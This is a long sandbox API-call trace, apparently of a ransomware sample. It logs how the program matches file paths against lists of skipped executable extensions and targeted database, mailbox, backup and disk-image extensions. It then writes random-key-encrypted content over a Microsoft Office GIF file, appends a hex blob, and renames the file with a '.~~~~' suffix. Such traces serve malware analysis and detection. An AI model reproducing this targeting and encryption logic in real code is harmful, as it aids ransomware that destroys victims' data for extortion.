	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".bat") returned 0x0
	[0141.006] lstrlenW (lpString=".cpl") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".cpl") returned 0x0
	[0141.006] lstrlenW (lpString=".sys") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".sys") returned 0x0
	[0141.006] lstrlenW (lpString=".msc") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".msc") returned 0x0
	[0141.006] lstrlenW (lpString=".com") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".com") returned 0x0
	[0141.006] lstrlenW (lpString=".lnk") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".lnk") returned 0x0
	[0141.006] lstrlenW (lpString=".msp") returned 4
	[0141.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".msp") returned 0x0
	[0141.007] lstrlenW (lpString=".pif") returned 4
	[0141.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".pif") returned 0x0
	[0141.007] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.009] lstrlenW (lpString=".sqb") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".sqb") returned 0x0
	[0141.009] lstrlenW (lpString=".ost") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".ost") returned 0x0
	[0141.009] lstrlenW (lpString=".txt") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".txt") returned 0x0
	[0141.009] lstrlenW (lpString=".mdt") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".mdt") returned 0x0
	[0141.009] lstrlenW (lpString=".BDB") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".BDB") returned 0x0
	[0141.009] lstrlenW (lpString=".eql") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".eql") returned 0x0
	[0141.009] lstrlenW (lpString=".DBF") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DBF") returned 0x0
	[0141.009] lstrlenW (lpString=".EQL") returned 4
	[0141.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".EQL") returned 0x0
	[0141.009] lstrlenW (lpString=".FDB") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".FDB") returned 0x0
	[0141.010] lstrlenW (lpString=".EDB") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".EDB") returned 0x0
	[0141.010] lstrlenW (lpString=".DACPAC") returned 7
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.010] lstrlenW (lpString=".VHD") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".VHD") returned 0x0
	[0141.010] lstrlenW (lpString=".DBV") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DBV") returned 0x0
	[0141.010] lstrlenW (lpString=".dacpac") returned 7
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.010] lstrlenW (lpString=".sdf") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".sdf") returned 0x0
	[0141.010] lstrlenW (lpString=".accdb") returned 6
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".accdb") returned 0x0
	[0141.010] lstrlenW (lpString=".DBX") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DBX") returned 0x0
	[0141.010] lstrlenW (lpString=".MDT") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".MDT") returned 0x0
	[0141.010] lstrlenW (lpString=".SQB") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".SQB") returned 0x0
	[0141.010] lstrlenW (lpString=".vhd") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".vhd") returned 0x0
	[0141.010] lstrlenW (lpString=".bac") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".bac") returned 0x0
	[0141.010] lstrlenW (lpString=".mdf") returned 4
	[0141.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".mdf") returned 0x0
	[0141.011] lstrlenW (lpString=".BAK") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".BAK") returned 0x0
	[0141.011] lstrlenW (lpString=".BAC") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".BAC") returned 0x0
	[0141.011] lstrlenW (lpString=".dbs") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dbs") returned 0x0
	[0141.011] lstrlenW (lpString=".vhdx") returned 5
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.011] lstrlenW (lpString=".NDF") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".NDF") returned 0x0
	[0141.011] lstrlenW (lpString=".dat") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dat") returned 0x0
	[0141.011] lstrlenW (lpString=".DBS") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DBS") returned 0x0
	[0141.011] lstrlenW (lpString=".CKP") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".CKP") returned 0x0
	[0141.011] lstrlenW (lpString=".edb") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".edb") returned 0x0
	[0141.011] lstrlenW (lpString=".PST") returned 4
	[0141.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".PST") returned 0x0
	[0141.011] lstrlenW (lpString=".dbf") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dbf") returned 0x0
	[0141.012] lstrlenW (lpString=".SQL") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".SQL") returned 0x0
	[0141.012] lstrlenW (lpString=".pst") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".pst") returned 0x0
	[0141.012] lstrlenW (lpString=".dbv") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dbv") returned 0x0
	[0141.012] lstrlenW (lpString=".SDF") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".SDF") returned 0x0
	[0141.012] lstrlenW (lpString=".dtxs") returned 5
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.012] lstrlenW (lpString=".db3") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".db3") returned 0x0
	[0141.012] lstrlenW (lpString=".OST") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".OST") returned 0x0
	[0141.012] lstrlenW (lpString=".dbx") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dbx") returned 0x0
	[0141.012] lstrlenW (lpString=".DB3") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DB3") returned 0x0
	[0141.012] lstrlenW (lpString=".DAT") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DAT") returned 0x0
	[0141.012] lstrlenW (lpString=".VHDX") returned 5
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.012] lstrlenW (lpString=".ndf") returned 4
	[0141.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".ndf") returned 0x0
	[0141.012] lstrlenW (lpString=".DB") returned 3
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DB") returned 0x0
	[0141.013] lstrlenW (lpString=".sql") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".sql") returned 0x0
	[0141.013] lstrlenW (lpString=".MYD") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".MYD") returned 0x0
	[0141.013] lstrlenW (lpString=".DBT") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DBT") returned 0x0
	[0141.013] lstrlenW (lpString=".ACCDB") returned 6
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.013] lstrlenW (lpString=".fdb") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".fdb") returned 0x0
	[0141.013] lstrlenW (lpString=".bak") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".bak") returned 0x0
	[0141.013] lstrlenW (lpString=".myd") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".myd") returned 0x0
	[0141.013] lstrlenW (lpString=".DTXS") returned 5
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.013] lstrlenW (lpString=".ckp") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".ckp") returned 0x0
	[0141.013] lstrlenW (lpString=".dbt") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dbt") returned 0x0
	[0141.013] lstrlenW (lpString=".db") returned 3
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".db") returned 0x0
	[0141.013] lstrlenW (lpString=".TXT") returned 4
	[0141.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".TXT") returned 0x0
	[0141.013] lstrlenW (lpString=".MDF") returned 4
	[0141.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".MDF") returned 0x0
	[0141.014] lstrlenW (lpString=".bdb") returned 4
	[0141.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".bdb") returned 0x0
	[0141.014] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.014] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0141.015] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.015] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.015] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26100548683) returned 1
	[0141.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd740790, dwHighDateTime=0x1d60e1e)) 
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b00
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b00 | out: hHeap=0x300000) returned 1
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae4d0
	[0141.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae4d0 | out: hHeap=0x300000) returned 1
	[0141.016] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.016] GetLastError () returned 0x0
	[0141.189] GetLastError () returned 0x0
	[0141.189] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.189] GetLastError () returned 0x0
	[0141.189] GetLastError () returned 0x0
	[0141.189] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x2bb6, lpOverlapped=0x0) returned 1
	[0141.191] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd44a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.191] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2bb6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2bb6, lpOverlapped=0x0) returned 1
	[0141.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.191] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.192] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.192] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.192] CloseHandle (hObject=0x138) returned 1
	[0141.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0141.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif.~~~~")) returned 1
	[0141.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0141.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.195] GetLastError () returned 0x0
	[0141.195] RtlWakeConditionVariable () returned 0x0
	[0141.195] GetCurrentThreadId () returned 0xaf0
	[0141.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".scr") returned 0x0
	[0141.195] lstrlenW (lpString=".cmd") returned 4
	[0141.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".cmd") returned 0x0
	[0141.195] lstrlenW (lpString=".dll") returned 4
	[0141.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dll") returned 0x0
	[0141.196] lstrlenW (lpString=".bat") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".bat") returned 0x0
	[0141.196] lstrlenW (lpString=".cpl") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".cpl") returned 0x0
	[0141.196] lstrlenW (lpString=".sys") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".sys") returned 0x0
	[0141.196] lstrlenW (lpString=".msc") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".msc") returned 0x0
	[0141.196] lstrlenW (lpString=".com") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".com") returned 0x0
	[0141.196] lstrlenW (lpString=".lnk") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".lnk") returned 0x0
	[0141.196] lstrlenW (lpString=".msp") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".msp") returned 0x0
	[0141.196] lstrlenW (lpString=".pif") returned 4
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".pif") returned 0x0
	[0141.196] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.198] lstrlenW (lpString=".sqb") returned 4
	[0141.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".sqb") returned 0x0
	[0141.198] lstrlenW (lpString=".ost") returned 4
	[0141.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".ost") returned 0x0
	[0141.198] lstrlenW (lpString=".txt") returned 4
	[0141.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".txt") returned 0x0
	[0141.198] lstrlenW (lpString=".mdt") returned 4
	[0141.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".mdt") returned 0x0
	[0141.198] lstrlenW (lpString=".BDB") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".BDB") returned 0x0
	[0141.199] lstrlenW (lpString=".eql") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".eql") returned 0x0
	[0141.199] lstrlenW (lpString=".DBF") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DBF") returned 0x0
	[0141.199] lstrlenW (lpString=".EQL") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".EQL") returned 0x0
	[0141.199] lstrlenW (lpString=".FDB") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".FDB") returned 0x0
	[0141.199] lstrlenW (lpString=".EDB") returned 4
